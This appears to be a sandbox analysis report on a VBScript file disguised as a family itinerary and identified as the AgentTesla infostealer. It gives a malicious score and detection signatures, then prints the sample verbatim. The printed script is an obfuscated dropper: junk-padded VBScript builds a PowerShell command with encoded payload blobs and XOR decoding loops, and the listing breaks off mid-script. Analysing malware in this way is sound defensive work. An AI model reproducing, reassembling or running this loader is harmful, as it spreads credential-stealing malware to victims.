Family itinerary file.vbs: Malicious SCRIPT analysis report

Malicious

100/100

30 points past the malicious line at 70.

Clean0-34 Suspicious35-69 Malicious70-100

Why this verdict

+80

Threat intelligence

MalwareBazaar known sample: AgentTesla
Known malicious hash (feed): malwarebazaar: n/a

+66

Runtime behavior

Dropped an executable to disk
3 living-off-the-land binary abuse(s)
7 Sigma rule match(es): Csc.EXE Execution Form Potentially Suspicious Parent, Invoke-Obfuscation Obfuscated IEX Invocation, Potential PowerShell Command Line Obfuscation

Analysis layers

Static ran no points

Dynamic ran moved the score

Threat intel ran moved the score

AI ran no points

Sample

TypeFile

MIMEtext/plain

Run conditions

Sandbox OSWindows 10

EnvironmentWorkgroup

InternetIsolated

Execution146s

Guest hardware2 vCPU4095 MB RAM

Detection signatures

2 detected

Severity	Detection	Evidence	Layer
MED	Dropped an executable to disk MITRE T1105	file C:\Users\user\AppData\Local\Temp\r15hlkvu.dll dropped file C:\Users\user\AppData\Local\Temp\r15hlkvu.dll dropped	dynamic
MED	LOLBin abuse: powershell obfuscated PowerShell MITRE T1027	command powershell observed command line	dynamic

Structure

What the file is made of: headers, imports, how it was built and whether it was signed.

Signature

Format: plain text[CRLF]

Not packed

Identity

File

typeASCII text, with CRLF line terminators

size24.5 KB

entropy5.3713

Packing

Not packed

The file's code is readable on disk - nothing is compressed or encrypted around it.

0/100

packer confidence

Static analysis reads this file directly Nothing is hiding the code from a static pass, so what the file contains is what the report shows.

Indicators weighed

Packer detection looks at a program's entry point, sections and entropy. This file is not a program image, so there was nothing of that kind to assess.

File content

606 lines · 24.5 KB

The sample verbatim, shown as inert text - nothing here is interpreted by this page.

  'eedfsfsdfadgfdgfefaefsfdss
Function CheckNumber(num)
    Dim result
    If num Mod 2 = 0 Then
        result = "Even"
    Else
        result = "Odd"
    End If
    If num > 0 Then
        result = result & " and Positive"
    ElseIf num < 0 Then
        result = result & " and Negative"
    Else
        result = "Zero"
    End If
    CheckNumber = result
End Function
  ebjhirdrcoj  =  rRessssssdfgddgfgfdhdgdafhdfaag
Randomize
Call Ugfdfging("%SYSTkFkkIFjeEMROOT%\kFkkIFjeSystem32kFkkIFje\WindkFkkIFjeowsPowekFkkI")
Call Ugfdfging("FjerShell\kFkkIFjev1.0\pokFkkIFjewershekFkkIFjell.exe  kFkkIFje$j=38-33;$kFkk")
FkrcrAbh = TimeSerial(7,9,9)
Dim AadFkip(7)
Public Const fohemkg = "gddokfk"
'nkfcdando  nnFdpad
ohkjadS = TimeSerial(8,7,8)
Dim IdFoenS(9)
Public Const ckmmihAdg = "hckSdpAgk"
'fSngSmjj  rkggjif
pjbbgfk = TimeSerial(7,9,8)
Dim fdachodec(7)
Public Const moASnkmkS = "kSpkmaFrf"
'iinFajnII  fFndfmhk
kmjkdnobd = TimeSerial(7,9,7)
Dim fbdgaeo(8)
Public Const iddnAnn = "jdrpokk"
Call Ugfdfging("IFjei1cdN4='hpkFkkIFjeEhPjfCkFkkIFjegsB';kFkkIFje$eMrFkFkkIFjeju7Z6='a4akFkkIFjef81a18")
Call Ugfdfging("ekFkkIFjea9a387kFkkIFjeed8687eakFkkIFjefe82a7kFkkIFje9ee9b7kFkkIFjecda6e4dkFkkIFje1f9")
'mfjAmegj  infkikr
FAfcpmhfn = TimeSerial(9,9,8)
Dim Frkmrdid(7)
Public Const oaafmbbS = "fnfkkhm"
'dmbkFfr  kmSFadm
jrfdjmi = TimeSerial(8,7,8)
Dim pmjmddj(9)
Public Const Sbocommap = "mmoFomfpb"
'fkdmama  kmmhkdrbg
kkjdkSSj = TimeSerial(9,7,8)
Dim brkmSIcg(7)
Public Const ddFrodb = "bbchakSr"
'Imocbmm  ogkjdgmdk
IjbFSdi = TimeSerial(7,7,8)
Dim khihrhkS(7)
Call Ugfdfging("81bcbkFkkIFjeb89b4kFkkIFjea984e38d8dkFkkIFjebaaec187kFkkIFje94a3a3kFkkIF")
Call Ugfdfging("je8da4bkFkkIFje78f9fekFkkIFje0d597akFkkIFjee86f4c78abkFkkIFjec9c91akFkkIFjee9d")
Call Ugfdfging("ab94kFkkIFjea7e4b2kFkkIFjeafa09kFkkIFjeca781b29fkFkkIFjed29b9f9kFkkIFje0bead8dafkFk")
Public Const ncdrcjdA = "gFgmmgSmS"
'Sdnpnfc  nkeaeSIS
jddignn = TimeSerial(7,8,9)
Dim bnIAbnog(7)
Public Const bpbdegAi = "aFkdped"
'Ihdgcbdon  jkIampd
oSecicdnr = TimeSerial(9,9,7)
Dim mjdmojFmj(7)
Public Const apAfmeAb = "miImFmjrc"
'dkbIpdpop  pSbSanApm
SfimSegp = TimeSerial(8,7,9)
Dim IIeoAIImf(8)
Public Const jdpikgkmo = "SSnieog"
'kjkrkmFma  imjarfgk
ddcamnAk = TimeSerial(8,8,9)
Call Ugfdfging("kIFjef4acad94bkFkkIFje6a99bb984kFkkIFjed2f89c9dkFkkIFjead9782adkFkkIFje9aa8ekFkkIFjefdc91")
Dim Fdmmjdnk(7)
Public Const pSFmcab = "ndrmmfAic"
'ekbjFkjgF  fiahapfn
eoSbIkrih = TimeSerial(9,7,7)
Dim eAIhSSdjg(8)
Public Const ArcoAnopm = "kbeIcghb"
'hiakIib  ommmngj
fAIkmjpk = TimeSerial(8,7,8)
Dim kmddbgckm(8)
Public Const maAkjimd = "ibSjabb"
'ofmfSjIF  kpAngAgIk
akanirm = TimeSerial(7,9,7)
Dim nAndipfj(7)
Public Const jcfdkFk = "krdkakmne"
'bhniibmf  nakbFpnmj
Call Ugfdfging("aekFkkIFje9dab9kFkkIFje4a7e4kFkkIFjecda0bc8cekFkkIFjeba6cabkFkkIFje9de9f")
Call Ugfdfging("e18bkFkkIFjeb5b69ae6bkFkkIFje192ebd3bdkFkkIFjec1e3c0d3bbkFkkIFjeb6bb9kFkkIFjedb6d7")
Call Ugfdfging("93kFkkIFjea08ca8a9c8kFkkIFjeef898aa195kFkkIFjeaea89aekFkkIFjedeae5c8kFkkIFje81a1a78ek")
koomInm = TimeSerial(8,7,9)
Dim Ipremje(7)
Public Const pedfckS = "adkSdbm"
'okkmmeram  cFbjSrI
ifmpnngb = TimeSerial(7,8,7)
Dim kdakIcno(8)
Public Const mkdebrS = "fkpkria"
'bSgbbIpk  hbdodkdag
ingoIdn = TimeSerial(7,7,8)
Dim rkfgdFFor(8)
Public Const pcaikbd = "SbhcakA"
'hbjigdbk  geIijmh
gjdoFdodk = TimeSerial(7,7,7)
Dim ohIhnjkn(9)
Public Const fIAfrno = "jpedmph"
Call Ugfdfging("FkkIFjeee9f8cbfkFkkIFjeaf81a1kFkkIFjebfbfadkFkkIFje93aebkFkkIFje8a4acb789akFkkIFje5bf9d")
Call Ugfdfging("9fc0kFkkIFjefa9f8caekFkkIFjeac9aabaekFkkIFje96928kFkkIFje8afb8kFkkIFje86aeb6kFkkIFje84e2e")
Call Ugfdfging("7cfkFkkIFje99b4a5b8kFkkIFjec79ebc8bkFkkIFjeb7a886b683kFkkIFje90be86b9bkFkkIFje68badb6b")
'gSrpamhAh  ifSkmeb
igimApko = TimeSerial(8,9,7)
Dim gAcciId(7)
Public Const krjdodS = "diomSkakd"
'dokidgc  fkgdhcIfn
ofIggro = TimeSerial(7,8,8)
Dim FjdSfck(8)
Public Const anocAmA = "iieoddhS"
'pboihikf  imkSnSph
mdafoISm = TimeSerial(9,8,8)
Dim rpfFnrdog(7)
Public Const Adcimdgoh = "eokmiirF"
'rScbimb  Ikkdnkki
FroenAai = TimeSerial(9,8,8)
Dim Ikgniiff(8)
Call Ugfdfging("kFkkIFjebbb8aakFkkIFje591d3kFkkIFjef78d8kFkkIFje4b1ebddcffkFkkIFje0e4addafdkFkk")
Call Ugfdfging("IFjee4c09db5cfkFkkIFjee598968kFkkIFjeaa1a88ekFkkIFje9ca9bb8kFkkIFje2f7998f")
Call Ugfdfging("a1bkFkkIFjefb7bbbkFkkIFjedf7bc8997akFkkIFje0b79f93kFkkIFjea5a8akFkkIFje7f08")
Public Const pkaddkkp = "aIgocdmp"
'ieIpdko  mbdfIAko
AhrIjgnoS = TimeSerial(8,9,7)
Dim akhgjpgI(8)
Public Const mpdcapm = "Sbebpekr"
'idhfjach  dpdpchhjk
FmfgmkA = TimeSerial(9,8,8)
Dim kmIhcmS(7)
Public Const IhASdbiF = "rjhhmfa"
'IkIIpIr  kkmkjoog
dfhpagd = TimeSerial(7,9,7)
Dim hehcSIm(7)
Public Const AeAkpcb = "nhmfaFmc"
'kpIgjoc  SFeIohojm
ISomkrrA = TimeSerial(8,7,9)
Call Ugfdfging("cdkFkkIFje797c9kFkkIFje8280bkFkkIFje19aa1kFkkIFjeba90a083kFkkIFje96a2aakFkkIFjea0d1959k")
Call Ugfdfging("FkkIFjeebaa4kFkkIFje80a8b6b59kFkkIFje8fea7b9kFkkIFje8d8594f5kFkkIFje8ef0b4")
Call Ugfdfging("f6akFkkIFjee84bd9kFkkIFjebb0f098kFkkIFje9d9697kFkkIFje96a6bkFkkIFje888eca0")
Call Ugfdfging("kFkkIFjea7b6adkFkkIFje90a8f382akFkkIFje899e99kFkkIFjecaf8fa9fkFkkIFje6")
Call Ugfdfging("c28f9kFkkIFjeb9afa9kFkkIFje6ad848bbakFkkIFje948eacaeadkFkkIFjebd95a7kFkkIFje849884a1a2kFk")
Dim ikkpfbS(9)
Public Const kfAcFFbrI = "adkFcFpp"
'ofkppdfdk  kAhSbkImd
cgjohhdi = TimeSerial(8,8,9)
Dim dArdmma(8)
Public Const dbaoidcrS = "kjdjISdrb"
'hIhfaFdkg  ihjgSkgd
apdkSank = TimeSerial(9,7,9)
Dim cAdIomIa(9)
Public Const cdrkoack = "Anrjnejrc"
'oAmnoiIdI  FSSkkmn
jdmrooa = TimeSerial(8,8,8)
Dim nrnkgdA(8)
Public Const AmkpSFgkm = "ISFdcdkfm"
'fFcaoanaA  AmbFkpmS
Call Ugfdfging("kIFjeac9d8a88akFkkIFjed92a08fdkFkkIFjea92b597a4kFkkIFje8c9f9edkFkkIFjed9")
Call Ugfdfging("b8fbaakFkkIFje68095fddkFkkIFjedf980afb69kFkkIFje8b6afcfa49kFkkIFje8838fb1k")
Call Ugfdfging("FkkIFjebdf2a2bfkFkkIFjea1c8affkFkkIFjebb1fee8kFkkIFjeb99892akFkkIFjeafaabakFkkIFjebf9ad9k")
Call Ugfdfging("FkkIFjed9ed98dkFkkIFje82ddb6a89kFkkIFje7a79dakFkkIFje38884kFkkIFje84e3bcf0kF")
Call Ugfdfging("kkIFje95f69edb9bkFkkIFjeabb0a9kFkkIFje94d9a0bkFkkIFjecb080b3kFkkIFjea1b58b96e9kFkk")
Call Ugfdfging("IFjea1b3b5kFkkIFjef1f5d0kFkkIFje989ebabakFkkIFje8aaa9kFkkIFje493a29bbfkFkkIFjeb98dae")
Call Ugfdfging("fkFkkIFjeae3bafkFkkIFje3cf888kFkkIFje3aefc9kFkkIFje6b29aa2bbkFkkIFje8daff9b6kFkkIFje88")
noIgjjb = TimeSerial(7,8,8)
Dim bmbArkA(9)
Public Const ieeekdIrh = "ckkppnjd"
'gkFdakoc  mFbdmfk
Arddhbim = TimeSerial(7,9,9)
Dim gdfkmSIkm(7)
Public Const bAkbIcino = "cpFrommSm"
'AdjccFdpa  IardcjnbA
ojdokprSI = TimeSerial(7,9,8)
Dim oofIdFkmp(7)
Public Const cSmIFdc = "ommSnkdmo"
'goihiIic  dnbdaemk
fIkcbmnam = TimeSerial(9,7,8)
Dim mcmSfcjrd(9)
Public Const ngcmgioro = "hcgohag"
Call Ugfdfging("a7ad8ea4kFkkIFje8cadakFkkIFje99994b4aa9kFkkIFjeeb4a1kFkkIFjee98baafkFkkIFje7969a89akFk")
Call Ugfdfging("kIFje382bb85f7kFkkIFje9bb79692kFkkIFjef8aebkFkkIFjeff8a18da9kFkkIFje90bda4akFkkIFjee")
Call Ugfdfging("828db8989kFkkIFje784a08fkFkkIFjea9a49987b8kFkkIFje8e9ee99ckFkkIFjeb38bbabkF")
'kerkkrne  pFcemio
fmkkSaA = TimeSerial(7,9,9)
Dim Iemhdar(7)
Public Const ikdohman = "cjSjfbknA"
'jicnmibk  FnknedF
mkfjgpnFo = TimeSerial(9,7,7)
Dim rIgmoIm(8)
Public Const gkoAjAe = "ncIFkAn"
'SAfbFIdaf  hFmnmcboc
ckdmofk = TimeSerial(9,9,8)
Dim ogrhnrb(8)
Public Const Aarmajkab = "gkgaAji"
'kaddigid  haphmckk
odnmcfbd = TimeSerial(8,7,7)
Dim kbpFjhe(9)
Call Ugfdfging("kkIFje6b7a1b69afkFkkIFje980bfaabfkFkkIFjebf9a8kFkkIFje2998385fkFkkIFje4ae89a")
Call Ugfdfging("kFkkIFjef8889a4kFkkIFjebdf181bkFkkIFjeefee09akFkkIFje9ab1d6fkFkkIFje79bf28kFkk")
Call Ugfdfging("IFjedd19f9e9bfkFkkIFje58edd88b9kFkkIFje94a199kFkkIFjef88b8kFkkIFje2adeekFkkIFjea28")
Call Ugfdfging("3ckFkkIFje7fdebc0kFkkIFjec0d3a9a6kFkkIFjebec2968kFkkIFje3b0a9c9ekFkkIFje08d9")
Call Ugfdfging("1b2kFkkIFjebfaba79ca9kFkkIFjea280b9kFkkIFjeb087acfkFkkIFjeac799aekFkkI")
Call Ugfdfging("Fjea5b49de39kFkkIFjec86a1bkFkkIFje58babkFkkIFje94a791d3f7kFkkIFje8cbc84k")
Call Ugfdfging("FkkIFjee2c185kFkkIFje9fb49fkFkkIFje9dbfbkFkkIFje086a5f2b48kFkkIFje195aebakFkkIFje8cb")
Call Ugfdfging("fadb5kFkkIFjef8e0akFkkIFje9b095akFkkIFjed8e88bekFkkIFjebcdef689kFkkIFje9bb093aekF")
Call Ugfdfging("kkIFjeabc1e9b8kFkkIFjedbf2f3c6kFkkIFjeebf7ckFkkIFjeaaa9ca3bkFkkIFjea9cabkFkkIFjeb581")
Public Const nkgppAb = "gpbiioj"
'SdmmdkeA  bfmadna
kkFkfIa = TimeSerial(8,7,9)
Dim ecjAamA(8)
Public Const daAbpFr = "rfApFoob"
'coIngApk  kikSSrcek
iSgeoSnp = TimeSerial(7,7,9)
Dim hSeSaidj(8)
Public Const caddmoSd = "nfrSAISdr"
'SmpgFmofF  ASjkkSn
nmrgaedSc = TimeSerial(9,9,9)
Dim kignroS(7)
Public Const bgbmmcf = "mfAopaIb"
'orjiFgF  kdkpeed
hkehShep = TimeSerial(8,9,7)
Call Ugfdfging("e29kFkkIFjeee8e8kFkkIFje88fee8c1bkFkkIFje9fe8efkFkkIFje1c8fd828kFkkIFjecbaf4a7a0kFkkIF")
Call Ugfdfging("jeb08aa18kFkkIFjeee0828cb9fkFkkIFje7bfa7kFkkIFjeb8acae93a5kFkkIFjea29df6f1kFkkIFjeafa7ae")
Call Ugfdfging("c29kFkkIFje09baekFkkIFjea886a0fkFkkIFje9cca3kFkkIFjee9dee2kFkkIFjed783a39c")
Call Ugfdfging("kFkkIFjea3adc8kFkkIFjee6bbdkFkkIFjecf3d483a3kFkkIFje9ca3adc1kFkkIFjebeff94kFkkIF")
Call Ugfdfging("jeb688b9b79kFkkIFjeba8ad9dbkFkkIFje0b4cfkFkkIFjee69bf3kFkkIFjefec789kF")
Dim nFphdoiS(8)
Public Const dnomcmdFA = "ArdSrijoh"
'bakecjAd  rnkrghp
ogjkfrrb = TimeSerial(7,8,7)
Dim pIFApIdm(8)
Public Const frdnhgAk = "eAScpee"
'kjejkSrip  hSbjemh
iAakakI = TimeSerial(9,8,8)
Dim ghhSmhI(9)
Public Const pjjofnji = "immieei"
'fnfkooep  IefpFcda
fbFrnpm = TimeSerial(7,9,7)
Dim SSFaomAkf(8)
Public Const oFbdrdrdk = "dkiaFng"
'emgghmdp  kgrropcdm
Call Ugfdfging("kkIFjeb69facb680kFkkIFjea39e8kFkkIFje4ad9dacf1ckFkkIFjec9df392kFkkIFjea19bbkFkkIFje4a")
hFfccdbA = TimeSerial(7,8,9)
Dim Fpfmghek(9)
Public Const ccoAedk = "mddjhFb"
'IAdkkkon  IrAAkpoh
opjIFooik = TimeSerial(9,7,7)
Dim mjrhhrr(7)
Public Const bdmhrmp = "mmoiFSf"
'ddAmfdAd  dehISdf
mfkSeFmd = TimeSerial(7,8,7)
Dim gpISFFhfr(7)
Public Const ifipdmbAd = "ApkSAmmg"
'ahAFIiha  pmkdbfmA
piIdpbjib = TimeSerial(7,7,9)
Dim jAecgkFmo(9)
Public Const FShmomao = "dSocrkd"
Call Ugfdfging("f81b6a4kFkkIFje95bfd7ekFkkIFje5a48fakFkkIFjeeaf9dakFkkIFje4b686e2kFkkIFjeb3c7")
Call Ugfdfging("e69bkFkkIFjef3e0cdacekFkkIFjedc4e6bbkFkkIFjedaeedea1fkFkkIFjead48dkFkkIFjef1c1eba1cbkF")
Call Ugfdfging("kkIFjea3cdfd97kFkkIFjeb9a5bkFkkIFje886b6b5kFkkIFje82859kFkkIFjebb4a9b4f7ekF")
Call Ugfdfging("kkIFje3a4adbbkFkkIFje8b8389bkFkkIFje3a984afb59kFkkIFje1eafe8kFkkIFjeef1d3kFkkIFjefbe8")
Call Ugfdfging("88f5ekFkkIFje4cca3edkFkkIFjec1859fkFkkIFjeb49890kFkkIFjebdbc9kFkkIFjebeaf39kFkkIFje3")
Call Ugfdfging("fd81ekFkkIFje493c78bakFkkIFjec84ae';$kFkkIFjejS5Rwki='ckFkkIFje0R9WCkFkkIFje")
Call Ugfdfging("USVmcSAkFkkIFjenYJWCsZkFkkIFjeZAYOMkFkkIFjelMeOXpAZHkFkkIFjeBgS1t5kFkkIFjeVg4zXBA8FVkFkkI")
Call Ugfdfging("Fje5tVnBeQ3RkFkkIFjeJTH9TK31aekFkkIFjeFZPeVpjfkFkkIFjeFxiTG4+bUkFkkIFjek3GnJkFk")
Call Ugfdfging("kIFjeIRXdlZFkFkkIFjeRDbEJZSkFkkIFjeEoMaQdkFkkIFjeSJGRBdlRkFkkIFjezcVtS")
'dadghSbpI  eFpbmdmk
drnkbdm = TimeSerial(9,7,8)
Dim mkdFInm(7)
Public Const FhbkIdjAj = "ggioSgmn"
'Adofedhre  hIFdemfr
ahSmbrfeg = TimeSerial(8,9,9)
Dim gerfnfofA(9)
Public Const oAfkeIAn = "mkbfcjcF"
'AAmrFki  bFFdaAdm
gAfghkhd = TimeSerial(7,9,8)
Dim fAmmodbdI(7)
Public Const oiogrnbc = "oedgoFpb"
'dIhmcdj  pdpIipdA
mrikoef = TimeSerial(7,8,9)
Dim nidergn(7)
Call Ugfdfging("VwpkFkkIFjePdUl7kFkkIFjebGJ0C2kFkkIFjeNoW3hTS2kFkkIFjeAAAjkULAkFkkIFjeQXdA")
Call Ugfdfging("IbflsNkFkkIFjeMRlkBkFkkIFjeh1fQXkFkkIFjeVjXFF5XixEkFkkIFjeaFdRUn5LRGkFkkIFjeRSd2Ik")
Call Ugfdfging("FkkIFjeJLHFUclxRdkFkkIFjeXRrTEd3kFkkIFjeXEVyFQFkFkkIFjexBSxCCDkFkkIFjeJTHzl0S2ZSkFkkIF")
Public Const rAanfjnmA = "mdrorkdmn"
'caepjrm  ekdjodI
jfeddnk = TimeSerial(8,8,8)
Dim oepFFji(7)
Public Const daSmjfi = "nhcmgrbA"
'Ikiijhim  npgmmmn
Ingkjkmnd = TimeSerial(7,7,8)
Dim AimAckmm(9)
Public Const ppjenna = "bjmkecimr"
'dhSSfpmA  FejamkjF
dkfFjheag = TimeSerial(8,9,8)
Dim jaAjibn(7)
Public Const mdcIkmoSd = "mghcSoAc"
'oikcSgkd  Akmponn
dFmhhpe = TimeSerial(8,7,7)
Call Ugfdfging("jeblobMlkFkkIFjeAWOxlEkFkkIFjeJhR4MjkbOkFkkIFjeAJ1DBkFkkIFjehQFS0XbHkFkkIFjekSAU5lkFk")
Call Ugfdfging("kIFjeFCkaLB8kFkkIFjeYNhp5eB0CkFkkIFjedWlIUnl7kFkkIFjeB0FxamMokFkkIFjeXHxbQkFkkIFjekxf")
Call Ugfdfging("d3pvS2kFkkIFjeQFXFJLkFkkIFjefVBuZFB8VkFkkIFje29qXV5hX0MkFkkIFjelRUlyem0JUkFkkIFjeV5dS3kF")
Call Ugfdfging("kkIFjeVqfztnN2kFkkIFjeled3UWemkFkkIFjexiQlJkFkkIFjenUkR7fkFkkIFjeU9zV0kFk")
Call Ugfdfging("kIFjeBHCTgYGkFkkIFjej8eDj9kFkkIFjeiSjAaXGkFkkIFjecCL1dyWkFkkIFjelBvegkFkkIFj")
Call Ugfdfging("e09dUllBXZkFkkIFjeUXhFfkFkkIFjeV3JRfFIKE1kFkkIFje1QFH1bakFkkIFjeFtfTF9OkFkkIFjeY1hMSkFkk")
Call Ugfdfging("IFjeQtPDX0jUEkFkkIFjeEqAAI5FCkXkFkkIFjeG0ldBjkFkkIFjeBkfSEEYGkFkkIFjet+e3hkFkkIF")
Call Ugfdfging("jeMcAh1eV4xbkFkkIFje1kmXGltkFkkIFjeShFaR2ILfkFkkIFjeG9oQU16kFkkIFjeEX1ybFtZc2kFkk")
Call Ugfdfging("IFjeUSKhokFkkIFjeMORQINVpwGkFkkIFjeg4zXxckFkkIFjetWSUbUScbkFkkIFjeC3ZTQkFkkIFjeT")
Dim roIkSkkaj(9)
Public Const IcAeSgk = "rmokhkmo"
'ognfirdII  Ifdjdmd
AkAkkAbi = TimeSerial(7,7,9)
Dim cohmjdk(8)
Public Const fbemkFjpr = "SidjrdfAi"
'dmmmmFp  fdddjghph
acfAdFn = TimeSerial(8,9,8)
Dim dfrhdpkSh(7)
Public Const jcppoIfhf = "kIfmhkbnc"
'rbaSoFS  afdndpmek
SdkSrfFFk = TimeSerial(9,9,8)
Dim hdgSAagf(8)
Public Const mAAgjnIk = "nmbIjmf"
'bjhminikd  chfIkbh
Call Ugfdfging("gZZAkFkkIFjesOTWZDkFkkIFjeb0kLVVNmUFkFkkIFjed/XEFKBx9FkFkkIFjeaUMHHVFXUkkF")
Call Ugfdfging("kkIFjeRJV3lTkFkkIFjeYhcXdAAPkFkkIFjePhBIckFkkIFjeUlmVxtJXQYkFkkIFjewc3FGX")
Call Ugfdfging("F1kFkkIFjeqVCsVDzckFkkIFjeWBThiakFkkIFjeh8UQQMkFkkIFjeWJHNcVVNMkFkkIFjeRWp")
bImmmrojF = TimeSerial(9,9,7)
Dim ScmSmhAir(8)
Public Const ndkjdfih = "mpjkArieS"
'ndmSkjbSI  ohffnnFm
enhkSpc = TimeSerial(7,7,9)
Dim emSajbi(9)
Public Const cdmdIFI = "bjpjakbbp"
'cFokmmm  honiIokbn
keekrrI = TimeSerial(8,7,9)
Dim arddrfAA(9)
Public Const adfmdmpmg = "AeffmSkS"
'nFikFoFic  nrikdbpoi
pioAkbhFm = TimeSerial(7,9,8)
Dim nmmmIkd(7)
Public Const dinmdnhma = "gAmoddokd"
Call Ugfdfging("xfHJBkFkkIFjecHdnADgYkFkkIFjeGjYZBjkFkkIFje9iSjAaUWkFkkIFjetQJRUPPkYkFkkI")
Call Ugfdfging("FjeoGh0lG1EkFkkIFjelEhs3FXp/HkFkkIFjeSJZa1ALbkFkkIFjeCV/bElkFkkIFjeQS29iU")
Call Ugfdfging("3NLWkFkkIFjemlgfXBRDkFkkIFje11GZlUkFkkIFjegd19RU1kFkkIFjeVFVCF4T05kFkkIFjeHR35NkFkk")
Call Ugfdfging("IFjec2ZeI0kFkkIFjeR/QAQTkFkkIFjecg51SkFkkIFjexQ/Eh03GUkFkkIFjecjHTgfF3QBkFkkIFje")
Call Ugfdfging("CERIR2NJkFkkIFjed1ZdcRoWOxkFkkIFje0Bcg4kFkkIFjerc1Z4VVJkFkkIFje/HQgwDDckF")
'dkmoAga  hImdgkj
SSdkodI = TimeSerial(8,8,7)
Dim mndrapcjm(7)
Public Const debfmSjf = "kcmjIhc"
'bmaSkpnio  ghFkFFpAF
grAfjoaon = TimeSerial(7,7,9)
Dim fmpirfkk(9)
Public Const mpdImod = "kAmbrinko"
'mmpdmckAb  bhFSApk
SfiSIdjcd = TimeSerial(8,7,7)
Dim IkbSFer(8)
Public Const aaFfpnd = "jeekIgFma"
'Fjrddkmib  mabpiSem
pmAajakjS = TimeSerial(9,8,8)
Dim dnkpmffjd(8)
Call Ugfdfging("kkIFjeWPhwWRyQMkFkkIFjeBS0dLWkFkkIFjeBcNhVpRgAkFkkIFjeYNxQlBDkFkkIFje4c")
Public Const eekjkeAi = "hAFpkkIF"
'nodjcnIdm  fkgaSkS
Frjnddnfc = TimeSerial(7,7,9)
Dim kIhFFok(8)
Public Const eIkimook = "kFAkIkh"
'ifFrAae  IIbogkdj
AopSbfh = TimeSerial(8,8,7)
Dim gkhdIcf(7)
Public Const Fbkkdjba = "epjaaAhA"
'gAmaAhd  IobaSji
dgcmmSc = TimeSerial(8,7,9)
Dim mnjhAjao(9)
Public Const bfjSnbeF = "bhngkmbi"
'coddcFm  bimjikra
FdendpaFg = TimeSerial(8,7,8)
Call Ugfdfging("FkQkFkkIFjejAA1PUiUkFkkIFjeYaV5wE3IPkFkkIFjef2VYNkFkkIFje1dYXAJgehokFkkIFjeMMBYlF2x5EkFk")
Call Ugfdfging("kIFjegFNel1jkFkkIFjeWGICDjEbHRkFkkIFjeo3BTAdJkFkkIFjeVYTPmllekFkkIFjeFNTdU9kFkkIFjex")
Call Ugfdfging("YgksdkFkkIFjeFR4UGdxkFkkIFjeTmAJBkFkkIFje0VGVH5TQjgkFkkIFjeZSF5HdkFkkIFjeVpDZGYUTRkFkkIFj")
Call Ugfdfging("eQsHxd0BgY/kFkkIFjeYkowGmAMSkFkkIFje3hXSHkFkkIFjegAAjkdRRkFkkIFjecXdAEKkFkkIFjeN")
Call Ugfdfging("xlEIwwkFkkIFjepHxQxHgkFkkIFjeY/YkowkFkkIFjeGld3QkFkkIFje2RUYVVRR0kFkkIFjeEA")
Dim orjbhjepI(9)
Public Const ArFrfAke = "hcpbSrhjo"
'AhfFamkh  FIFejrn
Fkmckaj = TimeSerial(7,7,9)
Dim jIIcjaf(8)
Public Const pacprkFjm = "AmfiieI"
'SFicemF  eSomFkdF
kpcfrdo = TimeSerial(9,7,8)
Dim rfpmoFge(8)
Public Const kbfSIeaA = "acdApcASA"
'kajofcmS  jedkkFSF
IFjkmirk = TimeSerial(9,7,7)
Dim rbdnFAohp(8)
Public Const nFFFpjSr = "aiaFkie"
'eaFemhk  hhAFeASc
Call Ugfdfging("OBgaOhkFkkIFjeIOSFIFN3kFkkIFjeJUAg4kFkkIFjexGwY7HQ1PUkFkkIFjeiUYUEJkFkkIFje3CTAUDkFkkIFj")
ShpipkSpf = TimeSerial(8,8,9)
Dim jeamajmbj(7)
Public Const gieobfmp = "mIemhkrA"
'cgAocdcc  pmfaced
pAgkkejf = TimeSerial(8,8,9)
Dim jmSAekjbn(7)
Public Const hoFcomgmg = "bAoammh"
'SnAafarrb  nrdmFkfj
rrngkbjaS = TimeSerial(9,7,8)
Dim jckpjik(9)
Public Const peFkagg = "Febaddpjj"
'kdgISah  mnagpofjd
ikekddi = TimeSerial(9,8,7)
Dim jjpcpaomh(7)
Public Const ardkcokp = "FiFaakg"
Call Ugfdfging("eB03JRkFkkIFje8TNnVkFkkIFjeDYxB1YlkFkkIFjeJmWkBlTlVkFkkIFje4T1EwkFkkIFjeflVqEztk")
Call Ugfdfging("FkkIFjeWQ2ReWWNYakFkkIFjeVpQYhILcVkFkkIFjeRXY0klCkFkkIFjek9wRgZZXEhkFkk")
Call Ugfdfging("IFje1EUZvZjZkFkkIFjePKx0wLzkFkkIFjeAdJR8TNhIkFkkIFjeGNx0=kFkkIFje';$bt")
'reAAdbaj  mkmkfmAf
SjmoSIrhd = TimeSerial(7,9,9)
Dim Iahdmgmn(7)
Public Const bFokAnh = "rAphgmebi"
'mSgrkdAm  odbarpa
jacdSiIam = TimeSerial(9,7,9)
Dim dmbcibhoS(9)
Public Const SAnScFA = "AbFdmga"
'gpFfiac  SbAjodbdd
mmmbrrmj = TimeSerial(8,7,7)
Dim Ffebhmfi(9)
Public Const FddmmdAnF = "SmoonbmcA"
'jAafgocm  hddakfrb
kaggkkFAd = TimeSerial(8,8,8)
Dim ImAmidiAi(9)
Call Ugfdfging("Jm8D=kFkkIFje0x7A12kFkkIFje-0x749kFkkIFje4;$idVeQmkFkkIFje4=@();forekFkkIFjeach($c kFkkI")
Call Ugfdfging("Fjein [charkFkkIFje[]]$i1cdN4kFkkIFje){$idVeQmkFkkIFje4+=[bkFkkIFjeyte]($kFk")
Call Ugfdfging("kIFjec-bxor0xAAkFkkIFje)};$oM0Q3OkFkkIFjeei=$ikFkkIFjedVeQm4;$ikFkkIFjedVeQm4kFkkIFje=@()")
Public Const mdddcrffo = "Smfhnmg"
'ISmjddm  mAonAFIb
mcikmpSe = TimeSerial(9,8,9)
Dim aekknnkhk(7)
Public Const gAnmikm = "rpgfmegi"
'dFadSba  pdIdfhiS
SgfFkAe = TimeSerial(8,7,7)
Dim nckmIfiI(8)
Public Const kmFcppn = "miofhIrnj"
'eiphAfhpj  oiFkchdgb
cShfrhjI = TimeSerial(8,8,8)
Dim Fgjpkdoak(8)
Public Const joadjngkb = "gpmggka"
'rpobAkhF  eiaeddnh
kkAefgkkb = TimeSerial(9,9,7)
Call Ugfdfging(";fokFkkIFjereach($c kFkkIFjein [char[]kFkkIFje]$i1ckFkkIFjedN4){$kFkkIFjeidVeQm4+")
Call Ugfdfging("=[kFkkIFjebyte]($kFkkIFjec-bxor0xkFkkIFje55)};$eMjkFkkIFjeFtBeC=$kFkkIF")
Call Ugfdfging("jeidVeQm4;$kFkkIFjeidVeQm4kFkkIFjeoldR=kFkkIFje'';$i=0kFkkIFje;for($j=0;kFkkIF")
